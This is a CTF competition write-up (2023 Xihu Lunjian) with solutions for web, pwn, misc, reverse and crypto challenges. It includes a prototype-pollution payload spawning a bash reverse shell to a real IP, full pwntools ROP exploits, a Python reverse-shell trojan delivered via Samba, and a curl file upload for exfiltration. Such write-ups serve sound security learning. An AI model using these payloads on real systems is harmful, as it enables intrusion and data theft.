2023西湖论剑初赛 Writeup by X1cT34m
文章目录
Web
real_ez_node
/routes/index.js
var express = require('express');
var http = require('http');
var router = express.Router();
const safeobj = require('safe-obj');
router.get('/',(req,res)=>{
if (req.query.q) {
console.log('get q');
}
res.render('index');
})
router.post('/copy',(req,res)=>{
res.setHeader('Content-type','text/html;charset=utf-8')
var ip = req.connection.remoteAddress;
console.log(ip);
var obj = {
msg: '',
}
if (!ip.includes('127.0.0.1')) {
obj.msg="only for admin"
res.send(JSON.stringify(obj));
return
}
let user = {};
for (let index in req.body) {
if(!index.includes("__proto__")){
safeobj.expand(user, index, req.body[index])
}
}
res.render('index');
})
router.get('/curl', function(req, res) {
var q = req.query.q;
var resp = "";
if (q) {
var url = 'http://localhost:3000/?q=' + q
try {
http.get(url,(res1)=>{
const { statusCode } = res1;
const contentType = res1.headers['content-type'];
let error;
// 任何 2xx 状态码都表示成功响应,但这里只检查 200。
if (statusCode !== 200) {
error = new Error('Request Failed.\n' +
`Status Code: ${statusCode}`);
}
if (error) {
console.error(error.message);
// 消费响应数据以释放内存
res1.resume();
return;
}
res1.setEncoding('utf8');
let rawData = '';
res1.on('data', (chunk) => { rawData += chunk;
res.end('request success') });
res1.on('end', () => {
try {
const parsedData = JSON.parse(rawData);
res.end(parsedData+'');
} catch (e) {
res.end(e.message+'');
}
});
}).on('error', (e) => {
res.end(`Got error: ${e.message}`);
})
res.end('ok');
} catch (error) {
res.end(error+'');
}
} else {
res.send("search param 'q' missing!");
}
})
module.exports = router;
Dockerfile 中的环境是 node:8.1.2
, 该版本存在 CRLF 注入
参考文章: https://www.anquanke.com/post/id/240014#h2-11
利用 /curl
路由可以构造 http post 数据包
然后得知 /copy
路由中使用了 safe-obj, 而 safe-obj 存在原型链污染, 即 CVE-2021-25928
参考文章: https://xz.aliyun.com/t/12053#toc-18
最后利用原型链污染配合 ejs 模板引擎造成 rce
参考文章: https://www.anquanke.com/post/id/236354#h2-2
构造 payload
from urllib.parse import quote
payload = ''' HTTP/1.1
POST /copy HTTP/1.1
Host: 127.0.0.1:3000
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Edg/109.0.1518.70
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
Content-Type: application/json
Content-Length: 218
{"constructor.prototype.client":true,"constructor.prototype.escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('bash -c \\"bash -i >& /dev/tcp/1.117.70.230/65444 0>&1\\"');"}
GET /'''.replace('\n', '\r\n')
enc_payload = u''
for i in payload:
enc_payload += chr(0x0100 + ord(i))
print(quote(enc_payload))
__proto__
被过滤, 可以用 constructor.prototype
绕过

反弹 shell 后执行 cat /flag
即可 (以下是复现环境的截图)

扭转乾坤
直接上传提示 Sorry,Apache maybe refuse header equals Content-Type: multipart/form-data;.

构造错误的 http 包格式就可以绕过

Node Magical Login
controller.js
const fs = require("fs");
const SECRET_COOKIE = process.env.SECRET_COOKIE || "this_is_testing_cookie"
const flag1 = fs.readFileSync("/flag1")
const flag2 = fs.readFileSync("/flag2")
function LoginController(req,res) {
try {
const username = req.body.username
const password = req.body.password
if (username !== "admin" || password !== Math.random().toString()) {
res.status(401).type("text/html").send("Login Failed")
} else {
res.cookie("user",SECRET_COOKIE)
res.redirect("/flag1")
}
} catch (__) {}
}
function CheckInternalController(req,res) {
res.sendFile("check.html",{root:"static"})
}
function CheckController(req,res) {
let checkcode = req.body.checkcode?req.body.checkcode:1234;
console.log(req.body)
if(checkcode.length === 16){
try{
checkcode = checkcode.toLowerCase()
if(checkcode !== "aGr5AtSp55dRacer"){
res.status(403).json({"msg":"Invalid Checkcode1:" + checkcode})
}
}catch (__) {}
res.status(200).type("text/html").json({"msg":"You Got Another Part Of Flag: " + flag2.toString().trim()})
}else{
res.status(403).type("text/html").json({"msg":"Invalid Checkcode2:" + checkcode})
}
}
function Flag1Controller(req,res){
try {
if(req.cookies.user === SECRET_COOKIE){
res.setHeader("This_Is_The_Flag1",flag1.toString().trim())
res.setHeader("This_Is_The_Flag2",flag2.toString().trim())
res.status(200).type("text/html").send("Login success. Welcome,admin!")
}
if(req.cookies.user === "admin") {
res.setHeader("This_Is_The_Flag1", flag1.toString().trim())
res.status(200).type("text/html").send("You Got One Part Of Flag! Try To Get Another Part of Flag!")
}else{
res.status(401).type("text/html").send("Unauthorized")
}
}catch (__) {}
}
module.exports = {
LoginController,
CheckInternalController,
Flag1Controller,
CheckController
}
构造 cookie user=admin
拿到前半部分 flag

因为 CheckController 在检查 checkcode 的时候没有对 catch 到的异常进行处理, 所以可以构造一个长度为 16 的数组使得调用 checkcode.toLowerCase()
时报错, 然后进入 catch (__) {}
, 最后顺下去执行得到后半部分 flag
{"checkcode":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16]}

Pwn
babycalc
可数组溢出修改变量i,对之后某个栈地址进行单字节的任意写一次,同时存在一个off by null漏洞,可将rbp的末字节覆成\x00。
通过off by null,对rbp末字节覆写\x00(上移),同时控制变量i,修改返回地址最后一个字节到leave; ret的地址,即可做到栈迁移。
在合适位置布置rop,栈迁移爆破到此处,即可劫持执行流。在rop中,先泄露libc地址,再利用ret2csu控制read的参数,劫持got表为system,读入/bin/sh即可getshell。
通过z3求解约束:
from z3 import *
v3 = Int('v3')
v4 = Int('v4')
v5 = Int('v5')
v6 = Int('v6')
v7 = Int('v7')
v8 = Int('v8')
v9 = Int('v9')
v10 = Int('v10')
v11 = Int('v11')
v12 = Int('v12')
v13 = Int('v13')
v14 = Int('v14')
v15 = Int('v15')
v16 = Int('v16')
v17 = Int('v17')
v18 = Int('v18')
s = Solver()
s.add(v5 * v4 * v3 - v6 == 36182)
s.add(v3 == 19)
s.add(v5 * 19 * v4 + v6 == 36322)
s.add((v13 + v3 - v8) * v16 == 32835)
s.add((v4 * v3 - v5) * v6 == 44170)
s.add((v5 + v4 * v3) * v6 == 51590)
s.add(v9 * v8 * v7 - v10 == 61549)
s.add(v10 * v15 + v4 + v18 == 19037)
s.add(v9 * v8 * v7 + v10 == 61871)
s.add((v8 * v7 - v9) * v10 == 581693)
s.add(v11 == 50)
s.add((v9 + v8 * v7) * v10 == 587167)
s.add(v13 * v12 * v11 - v14 == 1388499)
s.add(v13 * v12 * v11 + v14 == 1388701)
s.add((v12 * v11 - v13) * v14 == 640138)
s.add((v11 * v5 - v16) * v12 == 321081)
s.add((v13 + v12 * v11) * v14 == 682962)
s.add(v17 * v16 * v15 - v18 == 563565)
s.add(v17 * v16 * v15 + v18 == 563571)
s.add(v14 == 101)
s.add((v16 * v15 - v17) * v18 == 70374)
s.add((v17 + v16 * v15) * v18 == 70518)
print(s.check())
print(s.model())
'''
[v12 = 131,
v14 = 101,
v6 = 70,
v10 = 161,
v16 = 199,
v18 = 3,
v5 = 53,
v13 = 212,
v7 = 55,
v9 = 17,
v3 = 19,
v17 = 24,
v4 = 36,
v11 = 50,
v15 = 118,
v8 = 66]
'''
exp:
from pwn import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')
#io = process("./pwn")
io = remote("tcp.cloud.dasctf.com", 29073)
elf = ELF("./pwn")
pop_rdi_ret = 0x400ca3
def com_gadget(addr1 , addr2 , jmp2 , arg1 , arg2 , arg3):
payload = p64(addr1) + p64(0) + p64(1) + p64(jmp2) + p64(arg3) + p64(arg2) + p64(arg1) + p64(addr2) + p64(0x6023A0)*7
return payload
gadget1 = 0x400C9A
gadget2 = 0x400C80
py = p64(pop_rdi_ret) + p64(elf.got['puts']) + p64(elf.plt['puts']) + com_gadget(gadget1, gadget2, elf.got['read'], 0, elf.got['strtol'], 0x8) + p64(0x4007B4)
payload = str(0x18).encode().ljust(0x28, b'\x00')
payload += py
payload = payload.ljust(0xd0, b'\x00')
payload += p8(19) + p8(36) + p8(53) + p8(70) + p8(55) + p8(66) + p8(17) + p8(161) + p8(50) + p8(131) + p8(212) + p8(101) + p8(118) + p8(199) + p8(24) + p8(3)
payload = payload.ljust(0x100-4, b'\x00')
payload += p32(0x38)
io.sendafter("number-", payload)
libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x6f6a0
success("libc_base:\t" + hex(libc_base))
system_addr = libc_base + 0x453a0
sh_addr = libc_base + 0x18ce57
sleep(0.5)
io.send(p64(system_addr))
sleep(0.5)
io.send(b'/bin/sh')
io.interactive()
Message Board
利用格式化字符串漏洞,泄露libc地址。
通过栈溢出0x10字节,控制rbp寄存器和ret返回地址,返回到read的上方,此处rsi是由rbp控制的。故控制了rbp之后,跳转到此处,即可实现任意地址(相当于伪造的栈)写0xC0长度的数据。
通过上一步写入orw的rop之后,在伪造的栈上仍会存在一个栈溢出,将rbp设置为rop地址-8,并将返回地址设置为leave; ret的gadget地址,即可通过栈迁移执行orw的rop链。
from pwn import *
context(os = "linux", arch = "amd64", log_level = "debug")
io = remote("tcp.cloud.dasctf.com", 23267)
#io = process("./pwn")
elf = ELF("./pwn")
libc = ELF('./libc.so.6')
io.sendlineafter("name:\n", b'%31$p')
io.recvuntil("Hello, ")
libc.address = int(io.recv(14)[2:], 16) - 243 - libc.sym['__libc_start_main']
success("libc_base:\t" + hex(libc.address))
bss_addr = elf.bss() + 0x100
payload = b'\x00'*0xB0 + p64(bss_addr+0xB0) + p64(0x40136C)
io.sendafter("DASCTF:\n", payload)
leave_addr = 0x4012e1
pop_rdi_ret = libc.address + 0x23b6a
pop_rsi_ret = libc.address + 0x2601f
pop_rdx_ret = libc.address + 0x142c92
flag_addr = bss_addr + 0x78
payload = p64(pop_rdi_ret) + p64(flag_addr) + p64(pop_rsi_ret) + p64(0) + p64(libc.sym['open'])
payload += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(bss_addr + 0xD0) + p64(pop_rdx_ret) + p64(0x50) + p64(libc.sym['read'])
payload += p64(pop_rdi_ret) + p64(bss_addr + 0xD0) + p64(libc.sym['puts']) + b'./flag\x00'
payload = payload.ljust(0xB0, b'\x00') + p64(bss_addr - 8) + p64(leave_addr)
io.sendafter("DASCTF:\n", payload)
io.interactive()
Misc
签到题喵
winhex打开搜索JPG图片尾FFD9,发现图片尾部一段话,照做就行


take_the_zip_easy
一眼丁真,里面的zip名字叫dasflow.zip,猜测里面的也是dasflow.pcapng,直接用bkcrack进行已知明文攻击,1.txt的内容为dasflow.pcapng
./bkcrack.exe -C zipeasy.zip -c dasflow.zip -p 1.txt -o 30 -x 0 504B0304 >1.log
成功得到密钥

使用密钥即可得到dasflow.zip
./bkcrack.exe -C zipeasy.zip -c dasflow.zip -k 2b7d78f3 0ebcabad a069728c -d dasflow.zip
流量打开一看,根据特征判断是哥斯拉流量,而且导出http可以发现一个被加密的flag压缩包,找到解密所需的东西后就可以用脚本解密

<?php
function encode($D,$K){
for($i=0;$i<strlen($D);$i++){
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='air123';
$payloadName='payload';
$key='d8ea7326e6ec5916';
echo gzdecode(encode(base64_decode('xxx'),$key));
单独看http流,猜测上传flag.zip的前一步是生成zip文件,所以直接解密上传的前一段流量里的加密数据,得到密码
加密后的生成zip命令:J+5pNzMyNmU2mij7dMD/qHMAa1dTUh6rZrUuY2l7eDVot058H+AZShmyrB3w/OdLFa2oeH/jYdeYr09l6fxhLPMsLeAwg8MkGmC+Nbz1+kYvogF0EFH1p/KFEzIcNBVfDaa946G+ynGJob9hH1+WlZFwyP79y4/cvxxKNVw8xP1OZWE3
解密后:cmdLinePsh -c "cd "/var/www/html/upload/";zip -o flag.zip /flag -P airDAS1231qaSW@" 2>&1methodName execCommand
得到密码airDAS1231qaSW@,解开压缩包拿到flag
DASCTF{7892a81d23580e4f3073494db431afc5}
mp3
一眼丁真,尾部一个png,提取一下,是一张只有黑白的图片,zsteg跑一手

好家伙,还有个压缩包,直接提出来
zsteg -E 'b1,r,lsb,xy' 00000646.png > 1.zip
是个损坏的加密压缩包,winrar直接可以修好,于是看看MP3
猜测是MP3stego,试了试发现是空密码

得到压缩包密码:8750d5109208213f
根据文件名,猜一手rot47,得到的东西有点像js,直接在控制台里跑一下

DASCTF{f8097257d699d7fdba7e97a15c4f94b4}
机你太美
拿着新附件直接打开夜神模拟器导入,机子起起来之后发现有PIN密码,于是在网上找了篇文章http://www.360doc.com/content/12/0121/07/37846289_1012985425.shtml,照着做即可消除PIN密码直接进系统
别的没找到很重要的,只有桌面上叫Skred的软件里有不少对话,在里面发送的十几个压缩包以及两张图都可以用取证大师在vmdk里找到



重点在这两张图上,jpg一眼丁真,exif里提示了一个XOR DASCTF

这个暂时没有用,最后才有用,然后是png,细心一点的话可以在alph通道里发现一条线

简单提取下像素
from PIL import Image
width = 1532
height = 961
img=Image.open("41.png")
for i in range(width):
for j in range(height):
pi=img.getpixel((i,j))
if(pi[3] == 255):
print(1,end='')
else:
print(0,end='')
再将得到的输出手动去头去尾,即可得到压缩包密码e01544a9333ef62a3aa27357eb52ea8a

上面的压缩包随便提取了一个,可以成功解密,发现里面是乱码,于是xor DASCTF2022即可得到flag

DASCTF{fe089fecf73daa9dcba9bc385df54605}
TryToExec
1.生成exe马
import socket,os,threading,subprocess as sp;p=sp.Popen(['cmd.exe'],stdin=sp.PIPE,stdout=sp.PIPE,stderr=sp.STDOUT);s=socket.socket();s.connect(('xxx.xxx.xxx.xx',3333));threading.Thread(target=exec,args=("while(True):o=os.read(p.stdout.fileno(),1024);s.send(o)",globals()),daemon=True).start();threading.Thread(target=exec,args=("while(True):i=s.recv(1024);os.write(p.stdin.fileno(),i)",globals())).start()
pyinstaller --onefile test.py 编译成exe
2.vps安装samba共享马
sudo yum install samba samba-client
sudo systemctl start smb.service
firewall-cmd --permanent --zone=public --add-service=samba
sudo nano /etc/samba/smb.conf
[global] 下面添加这个
acl allow execute always = True
文件尾部加这个
[public]
path = /tmp/a
available = yes
read only = no
browsable = yes
public = yes
writable = yes
guest ok = yes
sudo systemctl restart smb.service
3.第一步编译的马 放到/tmp/a/下面 chmod 777
4.反弹shell
GET http://162.14.110.33:15000/api?action=%5C%5Cxxx.xxx.xxx.xx%5Cpublic%5C99.exe
5.curl bashupload.com -T ..\Th3Th1nsUW4nt.docx

DASCTF{d551c29f6c77a97ecf30fe7a6afda6ce}
Reverse
Dual personality
大致分析一波程序,可以发现这是x32的程序,但会用天堂之门执行部分x64的代码,既利用call far、jmp far等,其中第一段x64的代码会根据PEB64中调试标志位的情况修改第一个算法中所用的key
由于程序给的代码非常干净,这里把代码复制出来稍做分析,处理掉PEB64中对调试标志位的检测,即可拿到第一个算法所用的数据0x3CA7259D
之后可以看见左移,xor等操作,然后会与程序内置值比较,这里利用最终结果,根据之前所逆向的x64的代码还原回去即可得到flag
rol rbx,0x0C
mov qword ptr ds:[rax],rbx
mov rbx,qword ptr ds:[rax+0x08]
rol rbx,0x22
mov qword ptr ds:[rax+0x08],rbx
mov rbx,qword ptr ds:[rax+0x10]
rol rbx,0x38
mov qword ptr ds:[rax+0x10],rbx
mov rbx,qword ptr ds:[rax+0x18]
rol rbx,0x0E
mov qword ptr ds:[rax+0x18],rbx
flag:6cc1e44811647d38a15017e389b3f704
Berkeley
libbpf 编写的程序。main() -> Berkeley_bpfopen_and_load() -> Berkeley_bpf__open() -> Berkeley_bpfopen_opts() -> Berkeley_bpfcreate_skeleton() -> Berkeley_bpfelf_bytes() 里可以找到加载进内核的 ebfp程序的二进制数据。使用idapython dump出来
搭配这个 ghidra的插件可以反编译ebfp程序。
主要就两个函数,应该是对check_flag函数的重写。第二个函数是做check。主要就是把我们的输入和与key数组做一些计算结果与cipher数组比较。可以用z3解决。
undefined8 LBB0_1(void)
{
int iVar1;
undefined4 extraout_var;
void *pvVar2;
ulonglong i;
ulonglong uVar3;
ulong local_4;
local_4 = bpf_get_current_pid_tgid();
iVar1 = bpf_map_update_elem(execs._0_8_,&local_4,(void *)0x0,1);
if ((CONCAT44(extraout_var,iVar1) == 0) &&
(pvVar2 = bpf_map_lookup_elem(execs._0_8_,&local_4), pvVar2 != (void *)0x0)) {
bpf_undef();
i = 0;
do {
uVar3 = *(ulonglong *)((longlong)pvVar2 + (i >> 3 & 0x1fffffff) + 0x20);
*(char *)((longlong)pvVar2 + i + 0x120) =
(char)*(undefined8 *)
(key[0]._0_8_ +
((uVar3 ^ uVar3 + *(longlong *)((i & 7) * 4) ^ 0xffffffffffffffff) & 0xff));
i = i + 1;
} while (i != 0x100);
}
return 0;
}
undefined8 LBB0_2(void)
{
void *pvVar1;
longlong i;
char *fmt;
ulonglong *puVar2;
ulong local_4;
local_4 = bpf_get_current_pid_tgid();
pvVar1 = bpf_map_lookup_elem(execs._0_8_,&local_4);
if (pvVar1 != (void *)0x0) {
i = 0;
do {
puVar2 = (ulonglong *)((longlong)pvVar1 + i + 0x120);
*(char *)puVar2 =
(char)*(undefined8 *)
(key[0]._0_8_ + ((*(ulonglong *)(key[0]._0_8_ + i) ^ *puVar2) & 0xff));
i = i + 1;
} while (i != 0x100);
i = 0;
do {
fmt = (char *)0x220;
if (*(longlong *)((longlong)pvVar1 + i + 0x120) != *(longlong *)(cipher._0_8_ + i)) break;
fmt = (char *)0x22b;
i = i + 1;
} while (i != 0x100);
bpf_trace_printk(fmt,0xb);
bpf_map_delete_elem(execs._0_8_,&local_4);
}
return 0;
}
代码如下
key = [193,209,2,97,214,247,19,162,155,32,208,74,143,127,238,185,0,99,52,176,51,183,138,139,148,96,46,142,33,255,144,130,213,135,150,120,34,182,72,108,69,199,90,22,128,253,228,140,191,1,31,75,121,36,160,180,35,77,59,197,93,111,13,201,212,202,85,224,57,173,43,205,44,236,194,107,48,230,12,168,154,47,246,232,187,50,87,251,11,157,242,63,181,249,89,229,16,207,81,65,233,80,223,38,116,88,203,100,84,115,171,244,178,159,24,248,78,254,8,29,79,73,211,172,56,18,119,17,105,7,28,153,179,231,61,5,216,252,112,70,147,9,101,137,177,198,82,250,210,14,169,23,227,145,161,104,91,42,240,195,66,204,41,222,220,133,152,49,92,188,45,239,94,126,175,103,98,167,86,136,164,67,64,225,55,158,54,118,113,132,189,6,141,71,125,83,215,200,206,21,146,149,76,40,109,117,235,124,243,190,170,184,237,3,60,39,62,25,221,166,102,37,30,196,110,192,226,219,58,217,129,165,27,245,4,174,186,234,151,131,53,68,163,122,26,241,134,218,123,20,114,156,106,15,95,10]
cipher = [243,39,71,27,143,9,251,23,112,72,176,83,50,219,192,184,99,45,64,75,245,22,240,53,231,223,234,162,156,65,179,37,215,12,51,156,123,90,205,19,187,238,62,14,242,207,53,218,175,162,102,125,56,55,103,30,31,107,123,48,11,122,2,169,200,97,39,65,219,1,34,49,111,182,212,27,4,211,148,184,70,199,36,207,189,175,11,220,46,187,178,113,244,153,87,54,209,149,82,146,186,109,243,48,80,89,155,234,47,131,220,240,222,87,161,172,210,81,162,29,89,168,0,182,226,101,65,12,79,235,240,46,88,42,31,244,149,114,136,124,169,14,203,60,66,185,243,73,155,82,152,18,163,23,81,192,89,64,10,188,232,76,4,251,19,10,23,63,230,54,151,223,179,226,66,127,248,204,14,209,119,196,168,70,72,227,241,10,239,148,86,84,91,202,189,221,127,86,71,194,153,250,137,204,225,185,58,120,226,55,88,1,27,195,75,230,140,243,229,182,113,158,99,175,17,206,135,246,110,222,200,177,208,122,21,108,16,8,153,123,34,85,16,122,130,115,252,98,203,52,167,183,98,250,107,159]
tmp = [0] * 256
arr = [0] * 256
for i in range(0, 256):
n = key.index(cipher[i]) ^ key[i]
arr[i] = key.index(n)
print(arr[0:8])
drr = [0x80, 0x40, 0x20, 0x10, 8, 4, 2, 1]
from z3 import *
s = Solver()
temp = [BitVec('%d' % i, 8) for i in range(32)]
for i in range(32):
s.add(temp[i] <127)
s.add(temp[i] >=32)
cur = [0] * 256
for i in range(0, 256):
var3 = temp[i >> 3]
cur[i] = (var3 ^ var3 + drr[i & 7] ^ 0xffffffff) & 0xff
for i in range(256):
s.add(cur[i] == arr[i])
if s.check() == sat:
res = s.model()
flag = []
for i in temp:
flag.append(res[i])
for c in flag:
print(chr(c.as_long()), end = "")
else:
print("NO")
BabyRE
对程序稍做分析,只能看见判断输入字符是否在0~9之间,未发现别的信息,根据字符串发现程序有三处利用atexit执行了一些判断,再次对这几处做一次分析可以发现
- 输入内容每3个一组,转换为8进制的8位数字后取部分与0x60长度的内置值比较
- 输入内容转换为8进制的8位数字后取前0x70长度,进行魔改后的sha1运算,与内置值比较
- 输入内容末尾6字节做RC4加密密钥,加密0x70长度内容,与内置值比较
这里我们根据1中内容可以反推出输入内容中间36字节,爆破魔改后的sha1运算得到输入内容开头6字节,之后爆破RC4加密密钥即可得到完整flag
flag:561516915572239428449843076691286116796614807391
Crypto
MyErrorLearn
一个二元的coppersmith
构造等式$f = (r1-r2)(d1+x)(d2+y)-(d2+y-d1-x)$,$x,y$分别表示两次数据中的$Prime(246)$
找个多元copper的板子套上
#sagemath
def small_roots(f, bounds, m=1, d=None):
if not d:
d = f.degree()
R = f.base_ring()
N = R.cardinality()
f /= f.coefficients().pop(0)
f = f.change_ring(ZZ)
G = Sequence([], f.parent())
for i in range(m + 1):
base = N ^ (m - i) * f ^ i
for shifts in itertools.product(range(d), repeat=f.nvariables()):
g = base * prod(map(power, f.variables(), shifts))
G.append(g)
B, monomials = G.coefficient_matrix()
monomials = vector(monomials)
factors = [monomial(*bounds) for monomial in monomials]
for i, factor in enumerate(factors):
B.rescale_col(i, factor)
B = B.dense_matrix().LLL()
B = B.change_ring(QQ)
for i, factor in enumerate(factors):
B.rescale_col(i, 1 / factor)
H = Sequence([], f.parent().change_ring(QQ))
for h in filter(None, B * monomials):
H.append(h)
I = H.ideal()
if I.dimension() == -1:
H.pop()
elif I.dimension() == 0:
roots = []
for root in I.variety(ring=ZZ):
root = tuple(R(root[var]) for var in f.variables())
roots.append(root)
return roots
return []
r1 = 10416632501801974694227453996514471230510822844141537215435310761282236706010374287476167228551720127564766961486909719901188052844926828718157982353509009
r2 = 10945694515092921935765033073472221225431374672659751536595840465276073402439042169265480667452817278318006398182876136457632746343409326182238053908029751
d1 = 56888336937500044415702919773416114217028770468080853282740190270108239476041614796007252946794331087237297216052651102131387831331715788882702697436356478481466698200484763202280365937244685692432494727290180152495648130890129145398986742781650456719538128804602194272879452329225793378627305015814235006449
d2 = 39564785910816285169732671501865632983688744846819855674275371020624933955200211958646008885482995237194222616193536005648361431696101118452470392982186472493910970565702639588941011814416028774758786985291250896861107704070339750852212760711413327701632586870290470689206960878069267347698863426921542358105
p = 117772635282729418285879412631216935490806524671311266185546790504745904196135114727754422648999093257461858612228556910365982066740540367638744157494110844029055193511998422999596748975390734628418184477450856691002269702533884505178634105672240426552752649855510423531462598366536500750787631689349504137087
import itertools
R.<x,y> = PolynomialRing(Zmod(p))
f = (r1-r2)*(d1+x)*(d2+y)-(d2+y-d1-x)
ans = small_roots(f, bounds=(2^246,2^246), m=2)
x, y = ans[0]
secret = 1/(d1+x)-r1
print(secret)
最新评论